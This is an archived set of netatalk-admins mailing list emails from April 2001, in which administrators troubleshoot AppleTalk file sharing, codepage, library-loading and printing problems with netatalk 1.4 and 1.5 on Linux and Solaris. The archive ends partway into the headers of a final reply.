From netatalk.administrators-errors@umich.edu  Wed Apr 11 13:58:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA10170
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 11 Apr 2001 13:58:51 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA05909
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 11 Apr 2001 13:58:51 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA05895
	for netatalk.administrators-members@umich.edu; Wed, 11 Apr 2001 13:58:50 -0400 (EDT)
Received: from htcengineers.com (adsl-63-198-196-215.dsl.snfc21.pacbell.net [63.198.196.215])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA05864
	for <netatalk-admins@umich.edu>; Wed, 11 Apr 2001 13:58:48 -0400 (EDT)
Received: from htc2 (htc2 [192.168.1.2])
	by htcengineers.com (8.11.1/8.11.1) with SMTP id f3BDw3H00850
	for <netatalk-admins@umich.edu>; Wed, 11 Apr 2001 09:58:12 -0400
Reply-To: <walrawi@htcengineers.com>
From: "Waleed Alrawi" <walrawi@htcengineers.com>
To: <netatalk-admins@umich.edu>
Subject: FW: files and disks locks!! 
Date: Wed, 11 Apr 2001 11:03:26 -0700
Message-ID: <ECEPIFCNNBGMMAOOFBLLIEGHCDAA.walrawi@htcengineers.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400



-----Original Message-----
From: Bill Brehm [mailto:wwb@terminator.rsug.itd.umich.edu]
Sent: Wednesday, April 11, 2001 10:07 AM
To: walrawi@htcengineers.com
Subject: Re: files and disks locks!!


netatalk@umich.edu is to report bugs reports for an old version of netatalk.
Try sending your question to

	netatalk-admins@umich.edu.

> From:    "Waleed Alrawi" <walrawi@htcengineers.com>
> To:      <netatalk@umich.edu>

> Greetings
>
>
> I have spend around 32hrs trying to make this work, and counting.
>
> I have the following situation i am running netatalk 1.5pre2-4.i386.rpm on
> 2.2.17-14smp( I have tried other rpms) kernel (rh6.2). on the apple side I
> am running a Mac compatible using Mac OS 7.6 200MHz and 64Meg ram. Again,
I
> can see the Linux box in the chooser However, I cannot write to the Linux
> box. I get the following error: The item cannot be written because it is
> locked or the disk is full or locked.". any ideas or suggestions I have
> spent many hours trying to figure this one out.
> Oh by the way it does crate an empty file on the linux box.
>
> Thanks


From netatalk.administrators-errors@umich.edu  Wed Apr 11 18:14:22 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA23802
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 11 Apr 2001 18:14:22 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA28804
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 11 Apr 2001 18:14:14 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA28785
	for netatalk.administrators-members@umich.edu; Wed, 11 Apr 2001 18:14:13 -0400 (EDT)
Received: from server2.bluemer.de (pD9006DB6.dip.t-dialin.net [217.0.109.182])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA28737
	for <netatalk-admins@umich.edu>; Wed, 11 Apr 2001 18:14:12 -0400 (EDT)
Received: from bluemer.de (bert2.bluemer.de [192.168.20.3])
	by server2.bluemer.de (8.9.3/8.8.8) with ESMTP id AAA07795
	for <netatalk-admins@umich.edu>; Thu, 12 Apr 2001 00:13:57 +0200
Message-ID: <3AD4D724.CF1BBCD1@bluemer.de>
Date: Thu, 12 Apr 2001 00:13:56 +0200
From: Bert =?iso-8859-1?Q?Bl=FCmer?= <bert@bluemer.de>
X-Mailer: Mozilla 4.51 [de]C-CCK-MCD QXW03200  (Win98; I)
X-Accept-Language: de,en
MIME-Version: 1.0
To: Netatalk <netatalk-admins@umich.edu>
Subject: Problem: maccode.iso8859-1 with netatalk 1.5
References: <p05010402b6f9dd77dd33@[192.168.3.51]>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit


Hi there,

Since i am using netatalk 1.5 (out-of-the-box with SuSE 7.1) i have 
a problem regarding the use of a codepage. If i declare in AppleVolumes.
default the following

  /data/mac Testvolume codepage:maccode.iso8859-1

the codepage is not used. The files are written to the Linux-Filesystem
in the ':<hex>' -manner, disregarding if this codepage option is 
set or not. I have checked the synthax several times, but i cant 
find any errors.

I have tried 

  /data/mac Testvolume options:mswindows

too, same Problem.

Syslog does not complain about a missing file or nls-directory or 
something. A look in the binary of afpd shows that the nlspath was 
O.K. at compile time; there can be found '/etc/atalk/nls/', so i 
think afpd searches at the right place. The files in /etc/atalk/nls 
are world-readable.


Any hints would save my day.

Thx + Regards, Bert


-- 

Bert Blümer
Am Vogelsfeldchen 16
D-51373 Leverkusen

+49 214 4000851
+49 214 4000852

From netatalk.administrators-errors@umich.edu  Wed Apr 11 18:18:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA24081
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 11 Apr 2001 18:18:16 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA10959
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 11 Apr 2001 18:18:16 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA10933
	for netatalk.administrators-members@umich.edu; Wed, 11 Apr 2001 18:18:15 -0400 (EDT)
Received: from htcengineers.com (adsl-63-198-196-215.dsl.snfc21.pacbell.net [63.198.196.215])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA10874
	for <netatalk-admins@umich.edu>; Wed, 11 Apr 2001 18:18:13 -0400 (EDT)
Received: from htc2 (htc2 [192.168.1.2])
	by htcengineers.com (8.11.1/8.11.1) with SMTP id f3BIHaH01026
	for <netatalk-admins@umich.edu>; Wed, 11 Apr 2001 14:17:36 -0400
Reply-To: <walrawi@htcengineers.com>
From: "Waleed Alrawi" <walrawi@htcengineers.com>
To: <netatalk-admins@umich.edu>
Subject: netatalk problem
Date: Wed, 11 Apr 2001 15:23:06 -0700
Message-ID: <ECEPIFCNNBGMMAOOFBLLCEGICDAA.walrawi@htcengineers.com>
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0015_01C0C29B.4EBF8E70"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

This is a multi-part message in MIME format.

------=_NextPart_000_0015_01C0C29B.4EBF8E70
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Greetings


I have spend around 32hrs trying to make this work, and counting.

I have the following situation i am running netatalk 1.5pre2-4.i386.rpm on
2.2.17-14smp( I have tried other rpms) kernel (rh6.2). on the apple side I
am running a Mac compatible using Mac OS 7.6 200MHz and 64Meg ram. Again, I
can see the Linux box in the chooser However, I cannot write to the Linux
box. I get the following error: The item cannot be written because it is
locked or the disk is full or locked.". any ideas or suggestions I have
spent many hours trying to figure this one out.
Oh by the way it does crate an empty file on the linux box.

Please respond to me directly or cc me since I am not on the mailing list.


the following is a partial list of my messages:
"
Apr 11 14:48:43 faa atalkd[1292]: restart (1.5pre5)
Apr 11 14:48:44 faa atalkd[1292]: zip_getnetinfo for eth0
Apr 11 14:49:03 faa last message repeated 2 times
Apr 11 14:49:13 faa atalkd[1292]: config for no router
Apr 11 14:49:14 faa atalkd[1292]: ready 0/0/0
Apr 11 14:49:14 faa atalk: atalkd startup succeeded
Apr 11 14:49:26 faa papd[1303]: restart (1.5pre5)
Apr 11 14:49:26 faa atalk: papd startup succeeded
Apr 11 14:49:27 faa atalk: timelord startup succeeded
Apr 11 14:49:27 faa atalk: afpd startup succeeded
Apr 11 14:49:33 faa timelord[1312]: faa:TimeLord started
Apr 11 14:49:33 faa afpd[1321]: faa:AFPServer@* started on 65280.174:252
(1.5pre5)
Apr 11 14:49:33 faa afpd[1321]: ASIP started on 192.168.1.50:548(1)
(1.5pre5)
Apr 11 14:49:33 faa afpd[1321]: uam: uams_guest.so loaded
Apr 11 14:49:33 faa afpd[1321]: uam: uams_clrtxt.so loaded
Apr 11 14:49:33 faa afpd[1321]: uam: uams_dhx.so loaded
Apr 11 14:49:33 faa afpd[1321]: uam: "DHCAST128" available
Apr 11 14:49:33 faa afpd[1321]: uam: "Cleartxt Passwrd" available
Apr 11 14:49:33 faa afpd[1321]: uam: "No User Authent" available
Apr 11 14:53:28 faa afpd[1326]: session from 65280.1:243 on 65280.174:253
Apr 11 14:53:28 faa afpd[1326]: cleartext login: walrawi
Apr 11 14:53:28 faa PAM_pwdb[1326]: (netatalk) session opened for user
walrawi by (uid=0)
Apr 11 14:53:28 faa afpd[1326]: login walrawi (uid 500, gid 500)
Apr 11 15:00:41 faa afpd[1326]: setdirowner: chown -1/0
.AppleDouble/.Parent: Operation not permitted




Thanks for your healp


------=_NextPart_000_0015_01C0C29B.4EBF8E70
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE></TITLE>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3103.1000" name=3DGENERATOR></HEAD>
<BODY>
<P><FONT size=3D2>Greetings<BR><BR><BR>I have spend around 32hrs trying =
to make=20
this work, and counting.<BR><BR>I have the following situation i am =
running=20
netatalk 1.5pre2-4.i386.rpm on<BR>2.2.17-14smp( I have tried other rpms) =
kernel=20
(rh6.2). on the apple side I<BR>am running a Mac compatible using Mac OS =
7.6=20
200MHz and 64Meg ram. Again, I<BR>can see the Linux box in the chooser =
However,=20
I cannot write to the Linux<BR>box. I get the following error: The item =
cannot=20
be written because it is<BR>locked or the disk is full or locked.". any =
ideas or=20
suggestions I have<BR>spent many hours trying to figure this one =
out.<BR>Oh by=20
the way it does crate an empty file on the linux box.<BR><BR><FONT=20
size=3D3><STRONG>Please respond to me directly or cc me since I am not =
on the=20
mailing list.</STRONG><BR></FONT><BR><BR>the following is a partial list =
of my=20
messages:<BR>"<BR><FONT color=3D#008000>Apr 11 14:48:43 faa =
atalkd[1292]: restart=20
(1.5pre5)<BR>Apr 11 14:48:44 faa atalkd[1292]: zip_getnetinfo for =
eth0<BR>Apr 11=20
14:49:03 faa last message repeated 2 times<BR>Apr 11 14:49:13 faa =
atalkd[1292]:=20
config for no router<BR>Apr 11 14:49:14 faa atalkd[1292]: ready =
0/0/0<BR>Apr 11=20
14:49:14 faa atalk: atalkd startup succeeded<BR>Apr 11 14:49:26 faa =
papd[1303]:=20
restart (1.5pre5)<BR>Apr 11 14:49:26 faa atalk: papd startup =
succeeded<BR>Apr 11=20
14:49:27 faa atalk: timelord startup succeeded<BR>Apr 11 14:49:27 faa =
atalk:=20
afpd startup succeeded<BR>Apr 11 14:49:33 faa timelord[1312]: =
faa:TimeLord=20
started<BR>Apr 11 14:49:33 faa afpd[1321]: faa:AFPServer@* started on=20
65280.174:252 (1.5pre5)<BR>Apr 11 14:49:33 faa afpd[1321]: ASIP started =
on=20
192.168.1.50:548(1) (1.5pre5)<BR>Apr 11 14:49:33 faa afpd[1321]: uam:=20
uams_guest.so loaded<BR>Apr 11 14:49:33 faa afpd[1321]: uam: =
uams_clrtxt.so=20
loaded<BR>Apr 11 14:49:33 faa afpd[1321]: uam: uams_dhx.so loaded<BR>Apr =
11=20
14:49:33 faa afpd[1321]: uam: "DHCAST128" available<BR>Apr 11 14:49:33 =
faa=20
afpd[1321]: uam: "Cleartxt Passwrd" available<BR>Apr 11 14:49:33 faa =
afpd[1321]:=20
uam: "No User Authent" available<BR>Apr 11 14:53:28 faa afpd[1326]: =
session from=20
65280.1:243 on 65280.174:253<BR>Apr 11 14:53:28 faa afpd[1326]: =
cleartext login:=20
walrawi<BR>Apr 11 14:53:28 faa PAM_pwdb[1326]: (netatalk) session opened =
for=20
user walrawi by (uid=3D0)<BR>Apr 11 14:53:28 faa afpd[1326]: login =
walrawi (uid=20
500, gid 500)<BR>Apr 11 15:00:41 faa afpd[1326]: setdirowner: chown -1/0 =

.AppleDouble/.Parent: Operation not =
permitted<BR><BR><BR><BR><BR></FONT>Thanks=20
for your healp </FONT></P></BODY></HTML>

------=_NextPart_000_0015_01C0C29B.4EBF8E70--


From netatalk.administrators-errors@umich.edu  Wed Apr 11 18:59:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA25489
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 11 Apr 2001 18:59:33 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA13038
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 11 Apr 2001 18:59:33 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA12992
	for netatalk.administrators-members@umich.edu; Wed, 11 Apr 2001 18:59:31 -0400 (EDT)
Received: from galaxy.tbird.com (galaxy.tbird.com [199.72.122.9])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA12929
	for <netatalk-admins@umich.edu>; Wed, 11 Apr 2001 18:59:29 -0400 (EDT)
Received: from eagle.tbird.com (eagle.tbird.com [199.72.122.7])
	by galaxy.tbird.com (8.9.2/8.9.2) with SMTP id SAA11758;
	Wed, 11 Apr 2001 18:57:15 -0400 (EDT)
Message-Id: <200104112257.SAA11758@galaxy.tbird.com>
Date: Wed, 11 Apr 2001 18:59:10 -0400 (EDT)
From: rnf <rnf@tbird.com>
Reply-To: rnf <rnf@tbird.com>
Subject: Re: problem starting afpd
To: Gerard.Gachelin@univ-reunion.fr, netatalk-admins@umich.edu
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-MD5: 0IlHQytDs7XT0ebDNWw8/Q==
X-Mailer: dtmail 1.3.0 @(#)CDE Version 1.4 SunOS 5.8 sun4m sparc 


> Hello,
> 
> I just installed netatalk 1.4b2+asun2.1.4 on an Ultrasparc server
> running Solaris 8 (compilation with the Sun C compiler).
> 
> When afpd starts, it sends the following message in /var/adm/messages :
> 
> Apr 11 07:54:15 helios afpd[610]: [ID 272954 daemon.error]
> uam_load(uams_dhx.so): failed to load: ld.so.1:
> /usr/local/netatalk/sbin/afpd: fatal: relocation error: file
> /usr/local/netatalk/etc/uams/uams_dhx.so: symbol __eprintf: referenced
> symbol not found
> 
> Thanks for any help.

Hi,

I had a similar problem because I had installed Solaris 8 without some of the 
library support that loading a "development system" gives you.

You may be able to go back and install the compatibility libraries and 
development support stuff nd make it work.

I don't know why this isn't caught at compile time with netatalk. I guess it 
just assumes the libraries are there.

I also had a system that had another AppleTalk package on it that was removed 
before netatalk was installed.  It didn't work either, probably because the 
de-install of the pld package didn't remove everything. A symptom of this was 
that the netstat command didn't work either.

I had to reinstall Solaris to fix that one.

Hope this helps,

Rick


From netatalk.administrators-errors@umich.edu  Wed Apr 11 22:18:17 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA01304
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 11 Apr 2001 22:18:16 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA16503
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 11 Apr 2001 22:18:08 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA16462
	for netatalk.administrators-members@umich.edu; Wed, 11 Apr 2001 22:18:08 -0400 (EDT)
Received: from smart.visp-europe.psi.com (smart.visp-europe.psi.com [212.222.105.5])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id WAA16406
	for <netatalk-admins@umich.edu>; Wed, 11 Apr 2001 22:18:06 -0400 (EDT)
Received: from ns08-n66-175.de.inter.net ([213.73.66.175] helo=athlet.deltaman.de)
	by smart.visp-europe.psi.com with esmtp (Exim 3.22 #1)
	id 14nWgX-0002Sk-00
	for netatalk-admins@umich.edu; Thu, 12 Apr 2001 04:18:13 +0200
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id EAA02846
	for <netatalk-admins@umich.edu>; Thu, 12 Apr 2001 04:17:03 +0200
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Cannot print any longer
Date: Thu, 12 Apr 2001 03:53:50 +0200
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
MIME-Version: 1.0
Message-Id: <01041204170300.00584@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id WAA01304

Hi all,

I just installed netatalk 1.5pre5.
Afpd and papd seem to work well for me, but I cannot print any more
to my AppleTalk printer.
I was using 1.4b2+asun2.1.3 before and printing worked fine.
Now I have a serious PAP problem.
An interactive pap dialog showed the following:

<dialog>
athlet:~ # pap -p Lasie
Trying 65280.226:202 ...
status: waiting; source: AppleTalk
...
status: waiting; source: AppleTalk
status: busy; source: AppleTalk
...
status: busy; source: AppleTalk
status: idle
Connected to Lasie:LaserWriter@*.
Bad status response!
athlet:~ #
</dialog>

Downgrading to 1.4b2+asun2.1.3 verified that I still can
print with the old netatalk software.
But I need the new one because of the afpd death when AppleSharing
HFS CDs.

Thanks in advance, regards

	Carsten

From netatalk.administrators-errors@umich.edu  Thu Apr 12 05:27:45 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA12628
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 12 Apr 2001 05:27:45 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA13420
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 12 Apr 2001 05:27:44 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA13409
	for netatalk.administrators-members@umich.edu; Thu, 12 Apr 2001 05:27:44 -0400 (EDT)
Received: from nernst.chem.gla.ac.uk (nernst.chem.gla.ac.uk [130.209.221.174])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA13383
	for <netatalk-admins@umich.edu>; Thu, 12 Apr 2001 05:27:43 -0400 (EDT)
Received: from london.chem.gla.ac.uk ([130.209.221.166] ident=jonp)
	by nernst.chem.gla.ac.uk with esmtp (Exim 2.02 #2)
	id 14ndO9-0002Pq-00; Thu, 12 Apr 2001 10:27:41 +0100
Received: from localhost (jonp@localhost) by london.chem.gla.ac.uk (8.8.7/feedernode) with ESMTP id KAA06665; Thu, 12 Apr 2001 10:27:36 +0100 (BST)
X-Authentication-Warning: london.chem.gla.ac.uk: jonp owned process doing -bs
Date: Thu, 12 Apr 2001 10:27:36 +0100 (BST)
From: Jonathan Paisley <jonp@chem.gla.ac.uk>
To: Carsten Neumann <deltor@snafu.de>
cc: <netatalk-admins@umich.edu>
Subject: Re: Cannot print any longer
In-Reply-To: <01041204170300.00584@athlet>
Message-ID: <Pine.SOL.4.33.0104121025200.6663-100000@london.chem.gla.ac.uk>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


You might be able to use the old papd binary in conjunction with the new
afpd. That would solve the problem in the interim.

I'm not sure how papd interacts with atalkd, and how stable that interface
has been over the recent versions. If it's ok, then things should still
run. If you're not interested in AFP over DDP, then you could always use
the atalkd for the old distribution too (then afpd will only use TCP/IP)
if there is such a problem.

On Thu, 12 Apr 2001, Carsten Neumann wrote:

> I just installed netatalk 1.5pre5.
> Afpd and papd seem to work well for me, but I cannot print any more
> to my AppleTalk printer.
> I was using 1.4b2+asun2.1.3 before and printing worked fine.
> Now I have a serious PAP problem.
> An interactive pap dialog showed the following:
>
> <dialog>
> athlet:~ # pap -p Lasie
> Trying 65280.226:202 ...
> status: waiting; source: AppleTalk
> ...
> status: waiting; source: AppleTalk
> status: busy; source: AppleTalk
> ...
> status: busy; source: AppleTalk
> status: idle
> Connected to Lasie:LaserWriter@*.
> Bad status response!
> athlet:~ #
> </dialog>
>
> Downgrading to 1.4b2+asun2.1.3 verified that I still can
> print with the old netatalk software.
> But I need the new one because of the afpd death when AppleSharing
> HFS CDs.
>
> Thanks in advance, regards
>
> 	Carsten
>
>

-- 
Jonathan Paisley
jonp@chem.gla.ac.uk


From netatalk.administrators-errors@umich.edu  Thu Apr 12 06:24:50 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA14053
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 12 Apr 2001 06:24:50 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA10900
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 12 Apr 2001 06:24:49 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA10891
	for netatalk.administrators-members@umich.edu; Thu, 12 Apr 2001 06:24:49 -0400 (EDT)
Received: from smtp01.mrf.mail.rcn.net (smtp01.mrf.mail.rcn.net [207.172.4.60])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id GAA10855
	for <netatalk-admins@umich.edu>; Thu, 12 Apr 2001 06:24:48 -0400 (EDT)
Received: from 208-59-113-219.c3-0.129-ubr2.lnh-129.md.cable.rcn.com ([208.59.113.219] helo=nat1)
	by smtp01.mrf.mail.rcn.net with smtp (Exim 3.16 #5)
	id 14neHP-0007kq-00 
	for netatalk-admins@umich.edu; Thu, 12 Apr 2001 06:24:47 -0400
Message-ID: <01a601c0c33a$b3e73f10$0300a8c0@nat1.rcn.com>
From: "Nathaniel Pendleton" <netatalkbox@pendletonpress.com>
To: <netatalk-admins@umich.edu>
Subject: Fixing many broken resource forks quickly
Date: Thu, 12 Apr 2001 06:24:05 -0400
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.2106.4
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4

I have a bunch of broken resource forks
from Mac files (e.g. hqx, sit, bin) downloaded on a PC
and PC/Mac interchangeable files (mp3, jpg, gif, doc).

How do I fix them?

I can edit each one with res edit, but what a drag.
Is there a tool for fixing a bunch of files at once? A free tool?

If not, is there a software developer that could fix this?
1. Search for all files with type "TEXT" creator "LMAN"
and suggest fixing them.  
2. Search for files with PC dot3 endings and no fork and fixing them.
pdf, jpg, mp3, gif, tif, doc, hqx, sit, and bin

-Nathaniel



From netatalk.administrators-errors@umich.edu  Thu Apr 12 08:46:48 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA17453
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 12 Apr 2001 08:46:48 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA13683
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 12 Apr 2001 08:46:48 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA13658
	for netatalk.administrators-members@umich.edu; Thu, 12 Apr 2001 08:46:47 -0400 (EDT)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id IAA13555
	for <Netatalk-Admins@umich.edu>; Thu, 12 Apr 2001 08:46:46 -0400 (EDT)
Received: (qmail 26271 invoked by alias); 12 Apr 2001 12:46:51 -0000
Received: (qmail 26258 invoked by uid 0); 12 Apr 2001 12:46:50 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by potsdam.edu with SMTP; 12 Apr 2001 12:46:50 -0000
Subject: Re: Fixing many broken resource forks quickly
From: Matthew Keller <kellermg@potsdam.edu>
To: Netatalk-Admins List <Netatalk-Admins@umich.edu>
Cc: LINUX-ATALK@NETSPACE.ORG
In-Reply-To:  <019c01c0c33a$6b3dddf0$0300a8c0@nat1.rcn.com>
References:  <019c01c0c33a$6b3dddf0$0300a8c0@nat1.rcn.com>
Content-Type: text/plain
X-Mailer: Evolution/0.10+cvs.2001.04.11.08.00 (Preview Release)
Date: 12 Apr 2001 08:46:42 -0400
Message-Id: <987079602.3108.12.camel@comp10574.potsdam.edu>
Mime-Version: 1.0


    One could say that *adding* resource forks is actually breaking
    them, not fixing them. ;)

    But that aside, you could upload them to a Netatalk server with a
    properly configured AppleVolumes.system, which will magically
    DISPLAY the files as if they had the proper type/creator
    information. (it doesn't actually CHANGE the t/c, AFAIK).


On 12 Apr 2001 06:22:03 -0400, Nathaniel Pendleton wrote:
> I have a bunch of broken resource forks
> from Mac files (e.g. hqx, sit, bin) downloaded on a PC
> and PC/Mac interchangeable files (mp3, jpg, gif, doc).
> 
> How do I fix them?
> 
> I can edit each one with res edit, but what a drag.
> Is there a tool for fixing a bunch of files at once? A free tool?
> 
> If not, is there a software developer that could fix this?
> 1. Search for all files with type "TEXT" creator "LMAN"
> and suggest fixing them.
> 2. Search for files with PC dot3 endings and no fork and fixing them.
> pdf, jpg, mp3, gif, tif, doc, hqx, sit, and bin
> 
> -Nathaniel
> 

-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Thu Apr 12 10:03:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA19763
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 12 Apr 2001 10:03:25 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA18894
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 12 Apr 2001 10:03:25 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA18874
	for netatalk.administrators-members@umich.edu; Thu, 12 Apr 2001 10:03:24 -0400 (EDT)
Received: from postoffice.mail.cornell.edu (postoffice.mail.cornell.edu [132.236.56.7])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA18702
	for <netatalk-admins@umich.edu>; Thu, 12 Apr 2001 10:03:23 -0400 (EDT)
Received: from [128.84.239.190] (harrier.ee.cornell.edu [128.84.239.190])
	by postoffice.mail.cornell.edu (8.9.3/8.9.3) with ESMTP id KAA04976;
	Thu, 12 Apr 2001 10:02:40 -0400 (EDT)
Mime-Version: 1.0
X-Sender: rz10@postoffice.mail.cornell.edu
Message-Id: <p04320407b6fb643b62ca@[128.84.239.190]>
In-Reply-To: <01a601c0c33a$b3e73f10$0300a8c0@nat1.rcn.com>
References: <01a601c0c33a$b3e73f10$0300a8c0@nat1.rcn.com>
Date: Thu, 12 Apr 2001 10:01:45 -0400
To: "Nathaniel Pendleton" <netatalkbox@pendletonpress.com>,
        <netatalk-admins@umich.edu>
